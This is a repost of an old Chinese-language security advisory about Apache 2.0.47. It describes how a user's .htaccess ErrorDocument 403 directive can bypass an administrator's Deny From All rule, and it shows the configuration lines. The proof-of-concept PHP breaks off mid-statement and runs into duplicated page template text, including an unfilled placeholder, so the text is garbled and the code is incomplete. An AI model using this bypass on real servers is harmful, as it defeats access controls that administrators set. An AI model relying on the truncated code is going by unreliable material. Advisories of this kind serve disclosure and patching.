Apache Web Server 2.0.47访问控制限制可被普通用户绕过 (Linux,

来源:岁月联盟 编辑:zhuzhu 时间:2005-07-09
Apache Web Server 2.0.47访问控制限制可被普通用户绕过 (Linux,缺陷)

发布日期: 2004-2-3
Apache Web Server 2.0.47访问控制限制可被普通用户绕过 (Linux,缺陷)

涉及程序:
Apache 2.0.47

描述:
Apache Web Server 2.0.47访问控制限制可被普通用户绕过

详细:
Apache Web Server允许管理员通过主配置文件httpd.conf,和普通用户在拥有的web分支配置文件 .htaccess进行管理。

作为Apache Web Server管理员可通过配置主文件httpd.conf覆盖普通用户在配置文件 .htaccess中所作的任何配置。

按理论,假如服务器管理员通过配置文件httpd.conf中Deny指令来限制其他用户对程序的访问,则其他用户应该不能在.htaccess文件中通过设置AllowOverride值绕过Deny指令进行某些未授权访问。但是我们测试发现,普通用户可通过在.htaccess文件中使用ErrorDocument指令绕过Deny指令的限制进行非法访问。

已测试平台:
Apache 2.0.47/RH-Linux/WinXP


安全方法:
EXAMPLE
##########################################################
# In the main httpd.conf file:
#
<Directory />
AllowOverride FileInfo
Deny From All
</Directory>
##########################################################

##########################################################
# In the user's .htaccess file placed in a child directory:

ErrorDocument 403 /child/dir/fetch.php

##########################################################

/********************************************************/
<?php
// In the fetch.php placed in the same directory:

$url = parse_url( Apache Web Server 2.0.47访问控制限制可被普通用户绕过 (Linux,缺陷)_安全中国_全球最大网络安全培训门户

   > >  

Apache Web Server 2.0.47访问控制限制可被普通用户绕过 (Linux,缺陷)

更新时间:2005-07-09 02:03:00责任编辑:池天 
 $Content$

图片内容